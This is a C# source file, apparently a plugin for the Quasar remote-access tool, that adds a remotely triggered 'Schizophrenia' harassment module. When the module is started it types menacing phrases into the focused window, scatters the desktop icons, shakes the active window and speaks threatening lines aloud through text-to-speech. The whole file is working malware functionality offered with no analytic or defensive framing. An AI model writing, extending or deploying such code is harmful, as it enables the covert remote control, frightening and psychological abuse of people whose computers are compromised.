232 lines
8.3 KiB
C#
232 lines
8.3 KiB
C#
using Quasar.Common.Messages;
|
|||
|
|
using Quasar.Common.Networking;
|
||
|
|
using System;
|
||
|
|
using System.Runtime.InteropServices;
|
||
|
|
using System.Speech.Synthesis;
|
||
|
|
using System.Threading;
|
||
|
|
using System.Windows.Forms;
|
||
|
|
|
||
|
|
namespace Quasar.Client.Messages
|
||
|
|
{
|
||
|
|
public class SchizophreniaHandler : IMessageProcessor
|
||
|
|
{
|
||
|
|
[DllImport("user32.dll")] private static extern IntPtr GetForegroundWindow();
|
||
|
|
[DllImport("user32.dll")] private static extern bool GetWindowRect(IntPtr hWnd, out RECT rect);
|
||
|
|
[DllImport("user32.dll")] private static extern bool MoveWindow(IntPtr hWnd, int x, int y, int w, int h, bool repaint);
|
||
|
|
[DllImport("user32.dll")] private static extern IntPtr FindWindow(string cls, string name);
|
||
|
|
[DllImport("user32.dll")] private static extern IntPtr FindWindowEx(IntPtr parent, IntPtr child, string cls, string name);
|
||
|
|
[DllImport("user32.dll")] private static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam);
|
||
|
|
[DllImport("user32.dll")] private static extern int GetWindowLong(IntPtr hWnd, int index);
|
||
|
|
[DllImport("user32.dll")] private static extern int SetWindowLong(IntPtr hWnd, int index, int value);
|
||
|
|
[DllImport("user32.dll")] private static extern void keybd_event(byte bVk, byte bScan, uint flags, int extra);
|
||
|
|
[DllImport("user32.dll")] private static extern short VkKeyScan(char ch);
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
private struct RECT { public int Left, Top, Right, Bottom; }
|
||
|
|
|
||
|
|
private const int GWL_STYLE = -16;
|
||
|
|
private const int LVS_AUTOARRANGE = 0x0100;
|
||
|
|
private const int LVM_GETITEMCOUNT = 0x1004;
|
||
|
|
private const int LVM_SETITEMPOSITION = 0x100F;
|
||
|
|
private const uint KEYEVENTF_KEYUP = 0x0002;
|
||
|
|
private const byte VK_SHIFT = 0x10;
|
||
|
|
|
||
|
|
private volatile bool _running;
|
||
|
|
private readonly object _startLock = new object();
|
||
|
|
|
||
|
|
private static readonly string[] Phrases =
|
||
|
|
{
|
||
|
|
"THEY ARE WATCHING YOU",
|
||
|
|
"i can hear you breathing",
|
||
|
|
"the walls are closing in",
|
||
|
|
"make it stop make it stop",
|
||
|
|
"WHO IS BEHIND YOU",
|
||
|
|
"you are not alone in here",
|
||
|
|
"i see everything you do",
|
||
|
|
"we have always been here",
|
||
|
|
"DO NOT TURN AROUND",
|
||
|
|
"hahahahahahahahaha",
|
||
|
|
"there is no escape",
|
||
|
|
"im inside the computer",
|
||
|
|
"WHAT WAS THAT NOISE",
|
||
|
|
"tick tick tick tick tick",
|
||
|
|
"get out get out get out",
|
||
|
|
"your eyes are lying to you",
|
||
|
|
"i counted your keystrokes today",
|
||
|
|
"the screen is watching back",
|
||
|
|
};
|
||
|
|
|
||
|
|
public bool CanExecute(IMessage message) => message is DoStartSchizophrenia || message is DoStopSchizophrenia;
|
||
|
|
public bool CanExecuteFrom(ISender sender) => true;
|
||
|
|
|
||
|
|
public void Execute(ISender sender, IMessage message)
|
||
|
|
{
|
||
|
|
if (message is DoStartSchizophrenia) Start();
|
||
|
|
else if (message is DoStopSchizophrenia) Stop();
|
||
|
|
}
|
||
|
|
|
||
|
|
private void Start()
|
||
|
|
{
|
||
|
|
lock (_startLock)
|
||
|
|
{
|
||
|
|
if (_running) return;
|
||
|
|
_running = true;
|
||
|
|
}
|
||
|
|
Spawn(TypingChaos);
|
||
|
|
Spawn(DesktopScrambler);
|
||
|
|
Spawn(WindowShaker);
|
||
|
|
Spawn(RandomTTS);
|
||
|
|
}
|
||
|
|
|
||
|
|
private void Stop() => _running = false;
|
||
|
|
|
||
|
|
private void Spawn(ThreadStart ts)
|
||
|
|
{
|
||
|
|
var t = new Thread(ts) { IsBackground = true };
|
||
|
|
t.SetApartmentState(ApartmentState.STA);
|
||
|
|
t.Start();
|
||
|
|
}
|
||
|
|
|
||
|
|
// --- Typing chaos: types random phrases/garbage into focused window ---
|
||
|
|
|
||
|
|
private void TypingChaos()
|
||
|
|
{
|
||
|
|
var rng = new Random();
|
||
|
|
while (_running)
|
||
|
|
{
|
||
|
|
Thread.Sleep(rng.Next(3000, 9000));
|
||
|
|
if (!_running) break;
|
||
|
|
|
||
|
|
string text = rng.Next(3) == 0
|
||
|
|
? new string("!@#$%^&*".ToCharArray()[rng.Next(8)], rng.Next(3, 7))
|
||
|
|
: Phrases[rng.Next(Phrases.Length)];
|
||
|
|
|
||
|
|
foreach (char c in text)
|
||
|
|
{
|
||
|
|
if (!_running) break;
|
||
|
|
TypeChar(c);
|
||
|
|
Thread.Sleep(rng.Next(35, 110));
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private static void TypeChar(char c)
|
||
|
|
{
|
||
|
|
short vk = VkKeyScan(c);
|
||
|
|
if (vk == -1) return;
|
||
|
|
byte key = (byte)(vk & 0xFF);
|
||
|
|
bool shift = ((vk >> 8) & 1) != 0;
|
||
|
|
if (shift) keybd_event(VK_SHIFT, 0, 0, 0);
|
||
|
|
keybd_event(key, 0, 0, 0);
|
||
|
|
keybd_event(key, 0, KEYEVENTF_KEYUP, 0);
|
||
|
|
if (shift) keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||
|
|
}
|
||
|
|
|
||
|
|
// --- Desktop icon scrambler ---
|
||
|
|
|
||
|
|
private void DesktopScrambler()
|
||
|
|
{
|
||
|
|
var rng = new Random();
|
||
|
|
while (_running)
|
||
|
|
{
|
||
|
|
Thread.Sleep(rng.Next(10000, 22000));
|
||
|
|
if (!_running) break;
|
||
|
|
try { ScrambleIcons(rng); } catch { }
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private static void ScrambleIcons(Random rng)
|
||
|
|
{
|
||
|
|
IntPtr lv = GetDesktopListView();
|
||
|
|
if (lv == IntPtr.Zero) return;
|
||
|
|
|
||
|
|
// disable auto-arrange so icons actually move
|
||
|
|
int style = GetWindowLong(lv, GWL_STYLE);
|
||
|
|
SetWindowLong(lv, GWL_STYLE, style & ~LVS_AUTOARRANGE);
|
||
|
|
|
||
|
|
int count = (int)SendMessage(lv, (int)LVM_GETITEMCOUNT, IntPtr.Zero, IntPtr.Zero);
|
||
|
|
if (count <= 0) return;
|
||
|
|
|
||
|
|
var screen = Screen.PrimaryScreen.WorkingArea;
|
||
|
|
for (int i = 0; i < count; i++)
|
||
|
|
{
|
||
|
|
int x = rng.Next(10, screen.Width - 90);
|
||
|
|
int y = rng.Next(10, screen.Height - 90);
|
||
|
|
IntPtr lParam = (IntPtr)((y << 16) | (x & 0xFFFF));
|
||
|
|
SendMessage(lv, LVM_SETITEMPOSITION, (IntPtr)i, lParam);
|
||
|
|
Thread.Sleep(25);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private static IntPtr GetDesktopListView()
|
||
|
|
{
|
||
|
|
IntPtr progman = FindWindow("Progman", null);
|
||
|
|
IntPtr shell = FindWindowEx(progman, IntPtr.Zero, "SHELLDLL_DefView", null);
|
||
|
|
if (shell != IntPtr.Zero)
|
||
|
|
return FindWindowEx(shell, IntPtr.Zero, "SysListView32", null);
|
||
|
|
|
||
|
|
// Win10+ uses WorkerW
|
||
|
|
IntPtr workerW = IntPtr.Zero;
|
||
|
|
do
|
||
|
|
{
|
||
|
|
workerW = FindWindowEx(IntPtr.Zero, workerW, "WorkerW", null);
|
||
|
|
if (workerW == IntPtr.Zero) break;
|
||
|
|
shell = FindWindowEx(workerW, IntPtr.Zero, "SHELLDLL_DefView", null);
|
||
|
|
if (shell != IntPtr.Zero)
|
||
|
|
return FindWindowEx(shell, IntPtr.Zero, "SysListView32", null);
|
||
|
|
} while (true);
|
||
|
|
|
||
|
|
return IntPtr.Zero;
|
||
|
|
}
|
||
|
|
|
||
|
|
// --- Window shaker: rapidly moves active window side to side ---
|
||
|
|
|
||
|
|
private void WindowShaker()
|
||
|
|
{
|
||
|
|
var rng = new Random();
|
||
|
|
while (_running)
|
||
|
|
{
|
||
|
|
Thread.Sleep(rng.Next(7000, 16000));
|
||
|
|
if (!_running) break;
|
||
|
|
|
||
|
|
IntPtr hwnd = GetForegroundWindow();
|
||
|
|
if (hwnd == IntPtr.Zero) continue;
|
||
|
|
if (!GetWindowRect(hwnd, out RECT r)) continue;
|
||
|
|
|
||
|
|
int ox = r.Left, oy = r.Top;
|
||
|
|
int w = r.Right - r.Left, h = r.Bottom - r.Top;
|
||
|
|
|
||
|
|
for (int i = 0; i < 24 && _running; i++)
|
||
|
|
{
|
||
|
|
int dx = (i % 2 == 0) ? 18 : -18;
|
||
|
|
MoveWindow(hwnd, ox + dx, oy + (i % 3 == 0 ? 6 : 0), w, h, false);
|
||
|
|
Thread.Sleep(35);
|
||
|
|
}
|
||
|
|
MoveWindow(hwnd, ox, oy, w, h, false);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// --- Random TTS: whispers creepy phrases out loud ---
|
||
|
|
|
||
|
|
private void RandomTTS()
|
||
|
|
{
|
||
|
|
var rng = new Random();
|
||
|
|
while (_running)
|
||
|
|
{
|
||
|
|
Thread.Sleep(rng.Next(18000, 40000));
|
||
|
|
if (!_running) break;
|
||
|
|
try
|
||
|
|
{
|
||
|
|
using (var ss = new SpeechSynthesizer())
|
||
|
|
{
|
||
|
|
ss.Volume = 100;
|
||
|
|
ss.Rate = rng.Next(-3, 4);
|
||
|
|
ss.Speak(Phrases[rng.Next(Phrases.Length)]);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch { }
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|